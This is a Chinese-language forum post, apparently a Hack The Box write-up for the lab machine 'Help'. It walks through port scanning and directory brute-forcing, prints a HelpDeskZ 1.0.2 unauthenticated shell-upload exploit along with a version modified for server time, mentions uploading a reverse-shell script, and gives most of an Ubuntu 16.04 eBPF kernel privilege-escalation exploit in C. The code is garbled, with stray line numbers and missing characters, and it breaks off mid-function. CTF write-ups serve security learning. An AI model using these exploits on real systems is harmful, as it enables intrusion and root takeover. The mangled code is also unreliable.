taibeihacker
Moderator
Hack The Box —— Help

信息搜集
nmap
1nmap -T4 -A -v 10.10.10.121

發現22、80、3000 端口開放,訪問80 端口,是一個apache 默認頁面。
目录爆破
利用dirbuster 爆破目錄:
發現support 目錄,訪問得到:

搜索helpdeskz 相關漏洞,發現一處任意文件上傳漏洞:https://www.exploit-db.com/exploits/40300
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
import time
import sys
import requests
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) 3:
print 'Usage: {} [baseUrl] [nameOfUploadedFile]'.format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl=sys.argv[1]
fileName=sys.argv[2]
currentTime=int(time.time())
for x in range(0, 300):
plaintext=fileName + str(currentTime - x)
md5hash=hashlib.md5(plaintext).hexdigest()
url=helpdeskzBaseUrl+md5hash+'.php'
response=requests.head(url)
if response.status_code==200:
print 'found!'
print url
sys.exit(0)
print 'Sorry, I did not find anything'
漏洞利用
首先,在submit a ticket 處上傳一個反彈shell 的腳本文件:
返回:

然後,執行exp 腳本:
1
python2 poc.py http://10.10.10.121/support/uploads/tickets/1.php
但是此處無論如何都不能訪問到shell,後來經過查詢相關資料得知:由於服務器所在地區的時區與國內的時區不一樣導致current - x 得到的數不正確,因此,將腳本稍作改動:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
import time, calendar
import sys
import requests
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) 3:
print 'Usage: {} [baseUrl] [nameOfUploadedFile]'.format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl=sys.argv[1]
fileName=sys.argv[2]
# currentTime=int(time.time())
response=requests.head(helpdeskzBaseUrl)
serverTime=response.headers['Date']
print serverTime
timeFormat='%a, %d %b %Y %H:%M:%S %Z'
currentTime=int(calendar.timegm(time.strptime(serverTime, timeFormat)))
print currentTime
for x in range(0, 90):
plaintext=fileName + str(currentTime - x)
md5hash=hashlib.md5(plaintext).hexdigest()
url=helpdeskzBaseUrl+md5hash+'.php'
response=requests.head(url)
if response.status_code==200:
print 'found!'
print url
sys.exit(0)
print 'Sorry, I did not find anything'
成功反彈shell:


查看user.txt 獲取第一個flag
whoami 查看權限,發現時普通用戶權限
uname -a查看內核版本號,嘗試內核提權。

提权
搜索相關內核版本漏洞信息,發現https://www.exploit-db.com/exploits/442981
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
//Tested on:
//4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
//if different kernel adjust CRED offset + check kernel stack size
#include stdio.h
#include stdlib.h
#include unistd.h
#include errno.h
#include fcntl.h
#include string.h
#include linux/bpf.h
#include linux/unistd.h
#include sys/mman.h
#include sys/types.h
#include sys/socket.h
#include sys/un.h
#include sys/stat.h
#include stdint.h
#define PHYS_OFFSET0xffff880000000000
#define CRED_OFFSET0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog='\xb4\x09\x00\x00\xff\xff\xff\xff'
'\x55\x09\x02\x00\xff\xff\xff\xff'
'\xb7\x00\x00\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00'
'\x18\x19\x00\x00\x03\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\xbf\x91\x00\x00\x00\x00\x00\x00'
'\xbf\xa2\x00\x00\x00\x00\x00\x00'
'\x07\x02\x00\x00\xfc\xff\xff\xff'
'\x62\x0a\xfc\xff\x00\x00\x00\x00'
'\x85\x00\x00\x00\x01\x00\x00\x00'
'\x55\x00\x01\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00'
'\x79\x06\x00\x00\x00\x00\x00\x00'
'\xbf\x91\x00\x00\x00\x00\x00\x00'
'\xbf\xa2\x00\x00\x00\x00\x00\x00'
'\x07\x02\x00\x00\xfc\xff\xff\xff'
'\x62\x0a\xfc\xff\x01\x00\x00\x00'
'\x85\x00\x00\x00\x01\x00\x00\x00'
'\x55\x00\x01\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00'
'\x79\x07\x00\x00\x00\x00\x00\x00'
'\xbf\x91\x00\x00\x00\x00\x00\x00'
'\xbf\xa2\x00\x00\x00\x00\x00\x00'
'\x07\x02\x00\x00\xfc\xff\xff\xff'
'\x62\x0a\xfc\xff\x02\x00\x00\x00'
'\x85\x00\x00\x00\x01\x00\x00\x00'
'\x55\x00\x01\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00'
'\x79\x08\x00\x00\x00\x00\x00\x00'
'\xbf\x02\x00\x00\x00\x00\x00\x00'
'\xb7\x00\x00\x00\x00\x00\x00\x00'
'\x55\x06\x03\x00\x00\x00\x00\x00'
'\x79\x73\x00\x00\x00\x00\x00\x00'
'\x7b\x32\x00\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00'
'\x55\x06\x02\x00\x01\x00\x00\x00'
'\x7b\xa2\x00\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00'
'\x7b\x87\x00\x00\x00\x00\x00\x00'
'\x95\x00\x00\x00\x00\x00\x00\x00';
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr={
.prog_type=prog_type,
.insns=(__u64)insns,
.insn_cnt=prog_len/sizeof(struct bpf_insn),
.license=(__u64)license,
.log_buf=(__u64)bpf_log_buf,
.log_size=LOG_BUF_SIZE,
.log_level=1,
};
attr.kern_version=kern_version;
bpf_log_buf[0]=0;
return syscall(__NR_bpf, BPF_PROG_LOAD, attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr={
.map_type=map_type,
.key_size=key_size,
.value_size=value_size,
.max_entries=max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr={
.map_fd=mapfd,
.key=(__u64)key,
.value=(__u64)value,
.flags=0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr={
.map_fd=mapfd,
.key=(__u64)key,
.value=(__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, 'error: %s\n', err);
exit(-1);
}
static void prep(void) {
mapfd=bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd 0)
__exit(strerror(errno));
progfd=bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, 'GPL', 0);
if (progfd 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(progfd)) 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n=write(sockets[0], buffer, sizeof(buffer));
if (n 0) {
perror('write');
return;
}
if (n !=sizeof(buffer))
fprintf(stderr, 'short write: %lu\n', n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(key, value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
retur